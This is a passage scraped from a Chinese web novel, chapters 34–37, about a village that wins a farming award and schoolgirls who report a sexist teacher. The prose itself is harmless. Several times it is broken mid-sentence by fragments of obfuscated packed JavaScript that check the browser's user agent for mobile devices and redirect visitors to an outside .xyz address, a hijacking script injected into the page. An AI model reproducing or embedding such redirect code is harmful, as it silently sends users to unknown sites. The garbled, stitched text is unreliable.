RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585698|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大坝在那里，也不是没有修，不管拓宽多少次，动用多少挑河工，只要梅雨季，必淹。 地势低，没办法。 年年水淹，哪里能富的起来。 钟新澄不想上学，只想跟周岱学着搞发明。 钟莹莹知道后，觉得也不失为一个好的选择，不是每一个人都必须走同一条路的，条条大路通罗马，兴趣才是最好的老师。 “姑姑，我不想上扫盲班了，我想跟着周岱哥哥学手艺。”钟新澄在知青院混了一天，回家兴致勃勃的拉着钟莹莹道。 “木木，你想跟周岱哥哥学东西，也得先学认字啊，不然人家画的图纸你都看不懂。”兴趣教学，也得打好基础，起码得识字。 “不用看，周岱哥哥能看懂就行。”小家伙一派天真。 钟莹莹挑眉：“那周岱哥哥走了呢？” “我找别人给我看，姑姑你给我看。” “那姑姑上学去了呢？” “那我等你回来。” “姑姑要是去外地上学了呢？一年回来一次，你得等多久啊？” “我能等。”小家伙气哄哄的。 他也明白了，钟莹莹就是想让他上学，让他读书识字。 可读书实在是太辛苦了，他一听老师念经就想睡觉，一睡觉，老师就打他手板，手都要打肿了。 扫盲班的莉莉老师不打人手板，讲课一样让人想睡觉。 钟莹莹放大招：“楚天宝都能坐那里认认真真听课，到时候你认的字没他多，人家都会喊你文盲，大傻子。” “我才不是大傻子。”钟新澄大吼道。 他和楚天宝不一样，他让楚天宝干什么，楚天宝就干什么，楚天宝最听他的话，他是楚天宝的老大，老大不可能比不过小弟。 “不想当大傻子，小文盲，就得好好学习。” “识了字，到时候可以和周岱哥哥上同一个大学。” “大学里面可多好玩的了，还有望远镜，能看见几百米外的东西呢，你站在家里就能看见村里鱼塘里的鱼。”钟莹莹不断诱惑道。 “真的？那我要去上扫盲班。” 可算唬住这傻孩子了。 说起大学，她自己也该抓紧了，早点考过去，早点毕业，提前避开那几年动乱时期。 34. 第 34 章 傍晚上扫盲班，白天没事做。 村里又开始忙活着挖渠规划水路。 现在的钟家岗，已经不用钟莹莹去苦恼村里的发展了，吃了一次甜头后，他们自己闲了就会给自己找活干，整体呈现出一种蓬勃向上的精气神。 水稻生长期间，需要灌溉控水，离河沟近的地，用铁锹给田埂挖开个豁口，就能放水，离得远的，且不经过其他田的，就只能人工担水，极其麻烦，费时费力。 今年稻秧插种的轻松，村里人有余力，就想着连同水渠一块修整了。 主渠流经村里最大的河沟，再设计若干分支，分流进每块田地，利用地势开挖土渠，辛苦这一次，方便半辈子。 渠修的好，等梅雨季，村里地势低洼的地方就不会内涝了。 搁村子里修渠，可比修大坝简单多了。 “这知青就是不一样，你瞅瞅，这图画的，一目了然。” “赶明儿得让我家孩子好好跟他们学学。” 修渠的图纸是请了知青画的，具体操作还是村民们来。 村长私底下让老楚算了一下黄道吉日，才动了第一锹。 村里没闲人，能干活的都去干了。 钟莹莹干不来那个，在家给爹娘和哥嫂做晌午饭。 菜园子里摘的黄瓜和洋柿子，拍个蒜拌一拌，让钟新澄给她烧火，和面贴了一锅玉米面饼子，贴饼子的锅底，还炒了南瓜，老南瓜烀的烂乎乎的，放盐和辣椒，用饼子蘸着吃，极为下饭。 农村的孩子就没有不会做饭的。 天天看大人做，看也看会了。 干劲十足的村里人，中午饭都是在地头吃的。 家里孩子或者媳妇做了饭，用碗盛了，放菜篮子里，盖一块布挡飞虫，再带一大罐凉白开，吃的喝的都有了。 钟莹莹装好饭，就跟钟新澄提着篮子去地里了，中途还碰到了小伙伴。 他们的饭也都在篮子里，准备拎到地头和大人一块吃。 省城的记者王明背着个公文包，带着相机和笔记本，沿着田间小路走来时，正赶上村里人休息，围坐在地头，就着自家人送来的吃食，吃饭呢。 “老乡们，省报的记者同志过来采访了，你们这是在干什么呢？”镇长高声招呼道。 “修渠呢，今年秧插的快，就寻思挖一挖渠，明年引水也方便些。”村长乐呵呵道。 “记者？咱们钟家岗这么出名了吗？” “会给咱们拍照吗？” 村里人七嘴八舌的议论着。 王明听见了，笑着扬了扬手里的相机：“接到投稿，听说咱们村的知青和乡亲们一起研究出了插秧机？我来取取经，顺便拍几张照片。” 人群顿时热闹起来，还真的给拍照啊。 城里照相馆想拍照可贵了，他们都舍不得。也不知道这记者拍照是不是免费的。 “不知道你们是咋想着要做这插秧机的呢？”问的是村民，看的却是知青。 “嗐……还不是知青同志干活慢，然后想用点轻省的法子……”老楚话还没说完，就被村长用胳膊肘杵了一肘子。 会不会说话啊，说的好像知青同志想偷懒一样。 虽然事实好像就是那样。 “王同志，这事儿得从一开始插秧的时候说起……插秧时知青们发现手工插秧太慢，就想着有没有更快更省力的方法，然后就想到了插秧机。” “图是这位知青同志画的，他叫周岱，是位顶好的同志。”不是村长当初嫌弃知青过来干活添乱，还白吃饭的时候了。 “村长谬赞，是我们大家一起努力才能做出插秧机。”周岱的脸微红，有些不好意思。 “试验田的地和牛都是村里给的，村长还从账上给划了经费，我们一次次失败，村里人也没有介怀，反而一直给予支持。” 他挠了挠后脑勺：“其他几位知青也帮了很大忙，组装调试都是大家一起完成的。” “做插秧机的木头和竹子，都是村民们赞助的。” 王明笑了笑：“你这个小同志谦虚的很啊。”不抢功，不居功，王明对他有了几分好感。 村长突然插了句嘴：“咱们村还办了扫盲班，每天都学习呢。” 镇长夸奖道：“咱钟家岗的同志都是好样的，农闲也不忘学习提升自己。” “连娃娃都是好样的。” 钟莹莹、钟新澄、楚秀秀几个孩子猝不及防被点名，惊的手里的碗差点打翻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585699|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 随即想到是在夸自己，脸上露出了灿烂的笑容。 王明眼疾手快按下快门，画面里：几个娃娃端着碗笑的露出门牙，小的那个男孩子还缺了一颗牙齿，身后是刚种完没多久，排列整齐绿油油的秧田，一派童趣自然。 既能体现出劳动人民的朴实勤劳，又能看出孩子们的生动活泼，这照片拍的好啊。 最后给钟家岗的村民和知青们拍了一张大合照，采访就算是结束了。 王明从公文包掏出个信封：“李莉莉同志，这是报社给您的表扬信，还有十块钱稿费—您投稿的那篇《论钟家岗半自动插秧机设计与实践》在省刊发表了！” 李莉莉颤抖着手接过信封，这不是她第一次拿稿费，却是下乡后第一次拿稿费，虽然十块钱对她来说不是很多，但是意义是不一样的。 镇长也笑着说：“恭喜啊。” “上面让我通知你们，本周五上午十点，全体知青和村民代表一块去县里领奖。” 县里将此事列为‘知青下乡助农典范’，还准备给钟家岗授予‘先进大队’的称号，据说还有别的奖励，但是暂时还没有公布出来。 “真的假的？咱们真的要评先进了吗？” “老万，你捏捏我，我看疼不疼。”老楚不敢置信。 他从前干活一直偷奸耍滑，这两年为了给儿子攒点家业，态度端正了不少，起码能做到和其他村民同步了。 就这他也没敢想，有一天他们村还能评先进。 隔壁窑厂多风光啊，简直像一座大山一样，死死的压在他们头顶，这次，这座大山竟然被轻而易举的挪开了。 真就像小李老师说的一样，知识改变命运，他以后要老老实实跟知青学习，要当一个文化人。 钟家的莹莹也说了，他家天宝不是傻子，就是反应比人慢，让他儿子多学学，会不会也能变得聪明？ 老楚不管了，反正今天回家一定要拘着儿子学习，闺女也不能落下。 全家人要一起进步，才是真正的先进。 周五那天，天还没亮，村长就赶着牛车，带着几个知青，和村里举手投票选出来的俩代表，往县里走了。那天被单独拍到照片里的几个孩子都被带上了。 35. 第 35 章 县里的表彰大会，比钟莹莹想象的还要热闹。 大礼堂挂着红绸横幅，上面写着‘全县农业先进生产表彰大会’。 钟家岗的人坐在前排，主席台上的领导挨个念名字，钟莹莹竖着耳朵听。 “钟家岗大队，积极响应国家号召，和下乡知青团结协作，共同创造了插秧机，在农业生产中表现突出，特授予‘先进生产大队’称号！” 台下掌声雷动，村长咧着嘴小跑上去，接过那面印着金字的锦旗，回来时差点被台阶绊倒，惹得大伙儿一阵哄笑。 接着是知青们，每人发了一张‘优秀知青’奖状，外带一个白底红字的搪瓷缸子，上面印着‘为人民服务’五个大字。 “钟家岗运气咋那么好呢？”吴家村的村长忍不住艳羡道，往年都是他们拿先进的，今年突然换了人，任谁心里都不是滋味。 他们村自从吴大勇那一家进去了之后，就慢慢的被钟家岗超过了。 难道是有什么由头？ 吴老娘、吴老爹、吴大海都出来了，现在在村子里低着头做人，吴大海媳妇也在吴大海进去的时候，跟他离婚，带着孩子跑了。 这三个人天天在村里，阴测测的。 村里娃娃都不敢往那块去，该不会是这一家子丧门星克他们村吧？ 要不，怎么钟家岗分到的知青那么能耐，到了他们村，就是一群不是天天打架，就是嚷嚷着我要举报你的。 指定还是有什么说法。 回头他得私下里找人看看风水。 钟莹莹偷偷摸了下李莉莉的缸子，凉丝丝的。她心想：好像和后世的没有什么区别。 他们这群孩子也受到了表扬，本来没有这方面的打算的，但是记者的照片都洗出来了，县里又紧急去买了奶糖，每个孩子一人发了一整包。 散会后，书记还带他们去领了半扇猪肉，这是老传统了，除了锦旗，先进大队还有肉吃，要不大家的积极性能那么高吗？ 回村的牛车上，大伙儿一路欢呼：“回家吃肉咯。” 钟新澄相中了村长拿的那面锦旗，一会摸摸，一会又用手指头扣扣。 村长心疼的将锦旗卷好，放到怀里抱好，不给他作弄，害的他小声嘀咕一句：“村长小气鬼，喝凉水~” 钟莹莹听见了，一巴掌拍在他后脑勺上：“怎么说话呢，跟你说过多少遍了，小孩子要懂礼貌，不能骂人。” 这孩子真的欠调教。 到家后，家家户户都分了老大一块肉。 晚饭时，处处是肉香。 村长爹感慨道：“咱们这也算是赶上好时候了，想当年……”他爹的爹，还在地主老爷手下过活的时候，饿的捡人家吐地上的红薯皮吃，人家嫌恶心，抽了他一顿。 要不是……唉……不提也罢，事情都过去这么多年了，提了对他们不好。 愉快的日子总是非常短暂的。 钟莹莹开学了，钟新澄也被不情不愿的托着送去读了一年级。 钟莹莹开学读初二，原先教语文的老师，被调走了，换来个姓刘的男老师。 开学第一次听写，有个女生把‘踌躇’写成了‘抽出。’ 周老师当场就是一阵冷嘲热讽：“这都初二了，连个听写都听不明白，还读什么书？” “有些人啊，天生命不好，怎么学都那样！” 那个女生被臊得脸通红，低着头，眼泪大颗大颗的往下掉。 如果他对大家一视同仁，那倒无所谓，钟莹莹可以看作是他本身就教学严格。 可是等到男生出错的时候，他却温声细语的说：“没事，回去好好努力就好，男生的后劲儿足，以后能学好的。” 班里的女生都被他找了遍茬。 轮到钟莹莹的时候，作业没问题，听写，朗读都没问题，他无从下手，因为麻烦没找成功，他很不甘心，一直盯着钟莹莹，就等着她哪天犯错误了，狠狠教训他一顿。 这天，刘老师又故意找茬：“吴月，怎么读书的，念书口齿不清，嘴巴都张不开，大声点！” 吴月脸一红，提高了声音：“轰起云勇。” “轰起云勇……你看你读的啥……是哄气勇勇，不是轰起云勇！” 钟莹莹听得直想笑，自己都没读对，还好意思骂学生，风起云涌，读成哄起勇勇。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585700|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你笑什么？来你来读。”刘老师眼一瞥，扫见钟莹莹在笑，立马就像抓到她小辫子了一样，喊人起来。 “老师，是风起云涌，不是哄气勇勇，你读错了。”换个真是这个年龄段的孩子指定不敢反抗老师，可钟莹莹不是。 ‘嘭~’ “你还能耐了，就你读的对，你读的对你咋不当老师~”刘老师把黑板擦往讲桌上一摔，怒骂道。 “我看你这么厉害，这节课你来上好了。”说完，他把书一合，夹在胳肢窝里，‘嘭’的一声踹开教师门，怒气冲冲的回办公室了。 教室里一片死寂，沉默许久后，又猛然爆发出一阵喧闹声。 有男同学过来指责钟莹莹：“都怪你，把刘老师气走了，没人给我们上课了。” “你要去给刘老师道歉。” “对，道歉。” 女生们却是鸦雀无声，她们每一个都被刘老师针对过，说不出一句向着他的话。 楚秀秀捏着衣角，鼓起勇气：“莹莹没错，是刘老师的错。” “刘老师自己读错字，还生气，刘老师小气鬼。” 说完，心里的郁气被抒发，她竟然感觉有点爽？ 有一个站出来，就有另外一个站出来。 “刘老师天天骂我们女生，夸你们男生，可是明明我们班排名前十的都是女生，就是刘老师的错，是他偏心。” “对。” “老师偏心，我们才没错。” 越说越多，越骂越爽，她们好像明白了，为什么刘老师那么喜欢骂人了，原来骂人真的会爽啊。 “刘老师哪里会有错呢？人家说了男生后劲大，好日子在后面呢~”钟莹莹一阵阴阳怪气~ 这些话两辈子不知道听了多少遍了，莫欺少年穷，莫欺中年穷，莫欺老年穷，最后是死者为大，不对，是莫欺死穷鬼。 能力没见着，自我安慰的话倒是听了不少，严以待人，宽以待己。 “哈哈哈哈哈哈哈……”女生这边一阵哄堂大笑。 小男生哪里见过这场面，一个个脸胀的通红，嗫嚅道：“你们欺负人，我要告老师去。” 36. 第 36 章 直到放学，刘老师最终也没回到课堂上来。 宿舍的煤油灯在灯火中摇曳，昏黄的光线下，六张年轻的面孔显得有些不安。 但细究还能看出一丝的愤慨与暗爽，显然是不后悔自己白天的举动。 钟莹莹坐在下铺的床沿上，慢条斯理地用梳子梳头发，以前九九六，导致秃头，现在这一头秀发可要好好保护。 “我们真的要和刘老师道歉吗？”吴月眼睛有些红，她因为口音的问题，已经被刘老师骂了不知道多少次了，这次是第一次有人站出来为她出头，一时之间，一向胆小的她竟然生出了反抗老师的心思。 “我不想道歉。”楚秀秀手指紧紧攥着打着补丁的床单，用力之大，指节都泛了白。 在家里弟弟每次做错了事情，爹娘都说他是弟弟，自己是姐姐，理应让着弟弟，大姐现在不上学了，在家里天天看着弟弟，弟弟出错，也是姐姐挨打。可凭什么呢？ 就凭他是个男孩子吗？犯了错也有人说他们后劲足，以后会出息的。 姐姐为啥没考上中学，还不是每天放学都要回去干活，一学习家里人就有事喊她，然后没学好，他们就说女生就是后继无力，可男生呢？即使什么活都不干的情况下，考试成绩差都会被夸奖。 他爹娘是，刘老师也是，身边很多人都是。 但钟家人不是，莹莹在家可以随意教训新澄，他们家就从来没人说这种话。 究竟谁对谁错呢？楚秀秀以前很迷惑，现在却明了了，一切都是借口，都是打压女生的借口，她们女生从来不比男生差。 “我也不想道歉。”李红雪的眼睛在昏暗的灯光下，仍旧熠熠生辉：“开学测验我明明考的比刘兵高二十分，刘老师却说我是‘死记硬背’，说刘兵潜力在后面呢。” “难道就因为刘兵是他侄子，所以在他眼里就优秀吗？而我们是女生，生来就要被他打压吗？”李红雪越说越激动。 “还有之前，”角落里的一个女孩子弱弱开口道：“刘老师让我去搬书，说男生的手是拿来读书写字的，女生就该多干点活。” 钟莹莹一个个听下去，几乎每个女生或在明处，或在暗处，都被那老登不同程度上的针对了。 此时此刻她们需要一个能主持大局的人，因此她开口道：“我们不能再这样下去了，刘老师是典型的重男轻女思想，不反抗他还会一直欺负我们！” “他针对我们，是他不配当老师，不是我们的错” “人大领导都说了，男女平等。” “对啊，对啊，我们没错。”几个女生原先有些摇摆不定的心，逐渐坚定起来。 她们应该做些什么，不然这个害群之马，以后还会在学校祸害一届又一届的学生。 宿舍六个脑袋凑到了一起，之前声音很小的那个女生道：“我家里有人在教育局工作，我可以去举报……” “没看出来啊，你这么低调？”宿舍其他人都很惊讶。 这孩子平常上下学都低着头，还以为和她们一样，是从村里考上来的。 如果刘老师知道，她家有这层关系的话，应该不敢那么明目张胆的针对她了吧， “我们还可以联合其他班的女生……”刘老师代课是代了整个年级的课程，她们班有人被欺负，其他班指定也有。 钟莹莹感觉莫名燃起来了，没想到大家都这么努力，这和前世不一样的，以前大家都是私底下抱怨几句，然后忍着，告诉自己忍到毕业就好了，现在，一切都在往好的方向转变。 正在几个女生七嘴八舌的讨论着怎么把刘老师给赶下台的时候，宿舍门突然被敲响，几人瞬间僵住，外面竟然有人？不会是老师吧？ “谁……谁啊？”楚秀秀声音发抖。 门开了，站在外面的竟然是校长李知德和宿管老师，李知德定定的站在门口，眉头紧锁，也不知宿舍里的谈话被他听到了多少。 没人不认识他，六个女生齐刷刷站起来：“校长好！” 李知德走进宿舍，目光在每个人脸上停留片刻，最后落在钟莹莹身上：“我刚才在走廊，听见你们在讨论……刘老师？” 事实上，他本来也是为了这件事情而来，刘老师告状，说是初二一班的女生不敬师长，要给他们记过。 李知德觉得记过是一件很大的事情，一旦被记过那这个孩子就没有上高中的机会了，会毁了孩子的。 他不想听信一家之言，所以在开会结束后，让宿管老师带着自己来到了女生宿舍。 没想到站在门口就听见了里面在发牢骚，制止了宿管老师敲门的想法，他站在门口一直从头听到了尾。 这个刘老师，可真会胡说八道，张冠李戴啊。 明明是他肆意欺负女同学，到了他口中，却变成了这些女生扰乱课堂，胡乱顶撞他，幸好他临时起意来了女生宿舍一趟。 李知德从角落李拉过一张凳子坐下，紧接着露出平易近人的笑容，示意宿管老师和女生们也坐：“方便具体说说怎么回事吗？” 李红学、吴月……都垂着脑袋，手指扣着手心，紧张的不得了。 钟莹莹暗叹一声，都是胆小的，还是得她出马啊：“校长，我们刚刚是在讨论刘老师对男女生的不公平对待。” “每次上课他都会找借口骂人，女生没错他也骂，男生犯错了他就说一声知错能改就是好孩子，我们觉得不公平。” “对，我做什么，刘老师都骂我。”想起刘老师在课堂上骂自己的污言秽语，在对比和蔼可亲的校长，吴月眼泪止不住的流，她想家了。 接下来半小时就像捅了马蜂窝一样，另外几个女生也都叽叽喳喳的指控起刘老师，说到伤心处，眼泪一个比一个流的凶。 “郑老师，同学们说的你怎么看？” 宿管老师也就是郑老师，讪讪道：“李校长，同学们说的基本上都是真的。” 她不执教，但是对于刘老师的作风也早有耳闻，由于是同事，平常也不好私下议论，但心里对这种人还是有些不耻的。 李知德听完，眉头紧皱，他竟不知道，自己管理的学校，竟然出现了这么一个渣宰：“我知道了，同学们别哭了，等下记得洗把脸，不然明天眼睛要肿的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588637|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他声音低沉，接着又开口道：“作为校长，我应该向你们道歉，是我没有及时发现这些问题，才让你们受了这么多的委屈。” “我很欣赏你们的勇气，国家提倡男女平等，教育更是如此，这件事情我会解决的。” 上面正严查教师作风，刘老师这是往枪口上撞。 “谢谢校长！”得到校长的肯定，几个女生握住对方的手，小小的发出一阵欢呼声。 李知德离开口，宿舍里直接爆发出一阵巨大的欢呼声。 “我们真的做到了！”天呐，她是这么敢在校长面前举报老师的啊？吴月都不敢回忆刚刚自己在校长面前说了什么话，她刚刚可真大胆。 钟莹莹内心也很是不平静，原先稳如死水的生活似乎在离她远去。 她以前想着能救下太爷太奶就好了，后面又想着能让钟家岗的生活变得更好些就好了，现在她在想，能让身边的女同学，得到公平公正的待遇，再扩大一点，她想要让男女真正的平等。 而不是喊号子似的，嘴上喊着男女平等，但生了女孩就给溺死，娶了媳妇回家想打就打，想骂就骂，什么狗屁的女孩是菜籽命。 “同学们，刘老师被学校开除了，现在由我来给你们代课。”由于一时之间，找不到合适的老师，宿管老师郑老师被赶鸭子上架。 现在她对于这群孩子是又爱又怕，爱是因为她们给了她任课的机会，怕是害怕哪里做不好，哪天也被告到校长那里去了。 “开除？” “刘兵，你小叔怎么回事？”男生堆里像是炸了锅一般。 刘兵有些难以启齿，昨天他就知道这件事情了，他小叔被学校开除这件事情，让他感到在班级里面很没有面子，所以他不敢和同学说。 没等刘兵回答，郑老师就用黑板擦敲了敲黑板：“大家安静一些，上课了。” “我知道你们对刘老师被开除一事很好奇，上完这堂课，你们就知道原因了。” 郑老师在黑板上用粉笔重重写下‘男女平等’四个字。 “男女平等，就是我要给你们上的第一堂课。” 这话一出，哪里还有人不知道，刘老师是怎么被开除的。 难道刘老师真的是错的吗？男生心里满是疑惑。 “伟人说过，妇女能顶半边天，男女都一样，男同志能办到的事情，女同志也能办到，时代不同了，我们现在是新社会，不是地主老财的旧社会……” 随着郑老师的娓娓道来，男生们心里的疑惑被解开，刘老师和伟人比，那肯定是伟人说的对。 下课后，之前指责过钟莹莹的那个男生，扯着自己的衣角过来道歉：“钟莹莹，对不起。” 班上其他之前嘲讽女生的男生也纷纷道歉，只有刘兵，还难堪的坐在座位上一动不动。 女生们也不理睬他，手拉着手去了食堂。 听说今天食堂有肉菜，炖了香喷喷的猪蹄呢，去晚点可能就买不到了，平常可见不着这么纯粹的荤腥，最多也就给菜里放点肉丝肉末啥的。 这次的菜好像是校长特意让人采购的。 37. 第 37 章 炖得烂烂的猪蹄，浇上酱红色的汤汁，泛着晶亮的油光，那香气能飘到十里开外去。 食堂窗口已经排起了长队，班里那几个男生仗着个子高，腿长，跑的快，虽然比女生晚出发，却更早的到达，挤到了队伍前面。 往常，他们打完饭，还要嘲讽一句，女生小短腿，吃饭都赶不上趟儿，今天却反常的你挤我一下，我挤你一下，耳朵泛红地给女生让了位置，让她们先打。 钟莹莹楞了一下，没想到今天还有这福利。郑老师的那堂课威力这么大的吗？改变，真的可以这么快的吗？ 反应过来后，钟莹莹随即道谢，带着几个舍友排到了前面去。 食堂闹哄哄的，笑声、碗筷声混成一片。 猪蹄入口的那一瞬间，感觉整个人都幸福起来了。原生态无污染的土地种植的粮食喂养出的土猪，猪蹄胶质感满满，配上咸香的酱汁，再扒上一口大米饭，对于严重缺乏油水的肠胃来说，简直无敌了。 周五傍晚，钟莹莹跟着舍友准备回宿舍，就被郑老师叫住了：“钟莹莹，你家里人来找你了，在学校大门口等着呢！” 钟莹莹很奇怪，家里谁会来，这个点是家里有人出啥事了吗？ 她三步并作两步，飞快的朝校门跑去。 学校门口的白杨树下，只有一个看起来很陌生的女人，身上穿着白衬衫，脚上踩了一双锃亮的黑皮鞋，齐耳短发，手里还牵着一个五六岁的小女孩。 等女人转过身来，钟莹莹看清她的模样，立马惊呼一声：“姐？” 钟明芳笑着应了一声。 “你咋变化那么大？”钟莹莹不敢相信，这才走了几年，完全就像是大变活人了一样。 原先的钟明芳，怯懦又胆小，被吴家人欺负了，都不敢反抗，现在的钟明芳，看起来明艳又美丽，整个人身上充满了蓬勃向上的生命力。 钟明芳抿嘴一笑：“在部队里待久了，不想给你姐夫丢脸，总得学着打扮。” “姑姑。”可爱的小奶音从钟明芳牵着的那个小女孩口中发出。 “丽丽也长大了。”钟莹莹又上下打量了一下钟丽丽，当时和吴大勇离婚时，丽丽就改姓了，跟着钟明芳姓钟，后面钟明芳再嫁，丽丽也没再改成跟后爹姓。 爹会变，娘指定还是那个娘，跟着娘姓，也少受点折腾。 丽丽的变化也非常大，原先在村里散养被晒得有些黝黑的皮肤，现在白的一点也看不出来了，那小胳膊更是跟藕节似的，白生生，嫩溜溜的。 钟明芳刚下火车就带着丽丽来接钟莹莹了。 钟莹莹周六周日放假，平常都是等到周六早上回家，周五晚上回去走夜路不安全。 黄有德一大家子都回来了。 晚饭时，钟家难得热闹。 黄家人去了村长家，钟明芳带着钟丽丽留在了钟家。 “明芳，吴家吴老头和老太婆走了，你想去看看吗？”这是吴家村村长特意过来通知的。 两老的葬礼办的很简陋，草草一副薄棺就埋地里了，孩子一个不在身边，孙子被大儿媳带走了，不让再跟吴家人接触。 二儿子小儿子都在蹲篱笆子，大儿子跟老两口一块出狱后，就不知所踪了。 老两口都没了也没见他的人影。 吴家村村长想着，丽丽好歹算是吴家的血脉，去看一眼，也算是好的。 人都没了，那些恩恩怨怨的，也该随风飘散了。 “不去，丽丽也不去。”当初吴家就说了，丽丽以后不是他们家的孩子，现在家里没人了，想起他们丽丽还算吴家人了。 “丽丽现在姓钟，是我们钟家人，跟吴家没有关系。”钟明芳真的变了，整个人说话掷地有声，再不复当初模样。 “也对，那我直接拒掉了。”这世上哪有那么好的事呢，人一死，就想着人死债消。 钟伟先之所以提这么一嘴，还还是想着毕竟有血缘关系在，万一哪天孩子想起爷爷奶奶，他害怕她会怪自己。 丽丽也听见这些话了，整个人却无动于衷的继续和钟新澄吵嘴，都在争姑姑究竟更爱谁。 钟新澄一直以为，钟莹莹只有他一个侄子，没想到外面还有个外甥女。 俩孩子就这件事，简直吵翻天了。 大人们也不管，只让他们吵去，一会儿一个官司，谁也判不赢。 宋茹从海市来了信，还寄了包裹，信里面夹了几张花花绿绿的票券，包裹里是很多海市特产。 信里说，她要结婚了，如果钟家人有空的话，她想邀请钟家人去海市参加她的婚宴。 陈显英听说宋茹结婚，既高兴又发愁，高兴的是，经历过那样的事情，这姑娘还能鼓起勇气，再接纳新人，代表她已经放下了那件事，发愁的是路费不便宜，车票也不好买。 上回去那一次，还是托了她新女婿的福，买到了卧铺票。 要是她们自己去，估计就得提前去火车站排队，才能买到坐票，硬板凳坐一天，不是非得出行，没人愿意遭那个罪。 钟伟先知道宋茹真正想邀请的是谁，他拍板决定：“去，让莹莹和明芳一块去。” 人家次次送来这么多好东西，总不能白拿人家的。 这几年，两家人时有通信，钟家人也有回礼，自家腌的腊肉，咸鱼，寄过去不少，但是远远比不上宋家人寄过来的。 陈显英的身体自打那次手术后，就变得虚弱了好多，这种需要长途跋涉的旅程，显然是不适合她的。 钟明芳这次回来能待十多天呢，黄有德好像要转业回来了，所以之前攒的假都放这次了，他准备好好运作一下。 “行，那就让明芳带着莹莹过去，丽丽也带上。” 钟新澄一听，不得了了，姑姑要带着丽丽去，不带他，立马在地上撒泼打滚：“我也要去、我也要去海市，凭什么带丽丽不带我？呜呜呜哇哇哇哇……” 熊孩子扯着嗓子吼啊，简直要给人耳膜都震破了。 “木木，你给我起来。”钟绍华气不打一处来，这孩子，身上的衣服还是他洗的呢，就这么在地上左滚滚，右滚滚，没两下，就滚一身土了。 “我不起……你们偏心……只带丽丽出去玩，不带我……哇……”说着说着，哭的更大声了。 整个钟家充满了他的哭声。 住在钟家两边的老楚和老万都探出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594672|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头来看，是不是钟家在打孩子呢。 “你起来好好说，就带你一块去。”钟莹莹哄道。 俩孩子差不多大，只带丽丽不带钟新澄，那孩子心里肯定不舒服。 “别哄他了，明芳一个人，咋带仨小孩，万一火车上遇到人贩子，给他拐了卖山里去，到时候让他连家都找不着。”钟绍华没好气说。 “行了，到时候我把仨孩子都拴个绳子，绑腰上总行了吧？”钟明芳跟着劝道。 放一个羊也是放，放两个羊也是放，放三个羊会有什么区别吗？ 黄家那三个孩子，加上她自己的一个闺女，她不也常常一起带着了吗？ 三个比四个还少了一个呢。 “那就木木和丽丽一块带上。”陈显英答应了。 “还不起来？你奶奶都答应了。” 感受到自己老爹危险的死亡视线，钟新澄立马一个翻滚就从地上爬起来了。 “我起来了~~”钟新澄擦擦眼泪，哼了哼鼻子里的鼻涕。 票还是黄有德托人买的，又是买了两张卧铺票，这次没买到下铺，两张都是上铺。 钟莹莹跟学校请了一个星期的假，打算和姐姐还有俩好大侄一块去海市玩一玩。 她这两年攒的压岁钱，几乎没怎么动过。 平常买东西，她娘都会另外给她拿钱和票。 这次出门，她娘也给她兜里塞了二十块钱，还给塞了几张全国粮票。 穷家富路，出门在外，不能饿着孩子。 钟明芳那里陈显英也给塞了钱，钟明芳没要，又偷偷给放回去了，带自家小妹和侄子出去玩，总不能还让老娘掏钱。 钟家给的礼金，钟明芳倒是带着了，十六块六毛。 算是比较大的金额了，一般人家结婚礼金，也就给个一块五毛的。 宋茹和钟家关系好，宋家家境又远超钟家，多给些，也正常。 “哇……这就是火车啊！”看着眼前的绿皮车厢，钟新澄整个眼睛都直了。 这是他第一次见火车，也是第一次离开家，还没带家长。 “羞羞脸，连火车都没坐过，我回来的时候就坐过火车了。” 